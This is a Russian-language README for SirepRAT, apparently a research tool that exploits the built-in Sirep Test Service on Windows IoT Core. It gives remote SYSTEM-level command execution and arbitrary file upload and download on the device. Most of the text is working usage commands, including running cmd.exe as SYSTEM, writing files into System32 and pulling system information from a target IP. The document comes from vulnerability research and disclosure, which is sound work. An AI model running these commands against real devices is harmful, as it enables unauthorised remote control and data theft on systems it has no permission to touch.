
Удаленное выполнение команд от имени SYSTEM в Windows IoT Core (доступны версии для Python2.7 и Python3)

SirepRAT предоставляет полные возможности RAT без необходимости написания реального вредоносного RAT на целевом устройстве.
Метод использует встроенную службу Sirep Test Service, которая предустановлена и работает в официальных образах, предлагаемых на сайте Microsoft. Эта служба является клиентской частью настройки HLK, которую можно создать для выполнения драйверов/аппаратных тестов на устройстве IoT. Она обслуживает протокол Sirep/WPCon/TShell.
Мы разобрали протокол Sirep/WPCon и показали, как этот протокол предоставляет злоумышленникам удаленный командный интерфейс, включающий возможности RAT, такие как получение/загрузка произвольных файлов в произвольные места и получение информации о системе.
Основываясь на результатах, полученных в ходе исследования службы и протокола, мы создали простой инструмент на Python, позволяющий использовать их с помощью различных поддерживаемых команд. Мы назвали его SirepRAT.
Он имеет простой и интуитивно понятный пользовательский интерфейс для отправки команд на устройство Windows IoT Core. Он работает на любом устройстве, подключенном через кабель и работающем под управлением Windows IoT Core с официальным образом Microsoft.
Слайды и технический документ с исследованием в папке docs
pip install -r requirements.txt
python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v
python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"
С аргументами, запуск от имени текущего пользователя:
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"
(Попробуйте запустить без флага as_logged_on_user, чтобы продемонстрировать возможность выполнения от имени SYSTEM)
python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice
python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"
python SirepRAT.py --help
Dor Azouri (@bemikre)
movatica (@movatica) — перенос на Python 3! (на финишной прямой 2020 года)
BSD 3 — лицензия с условиями «New» или «Revised»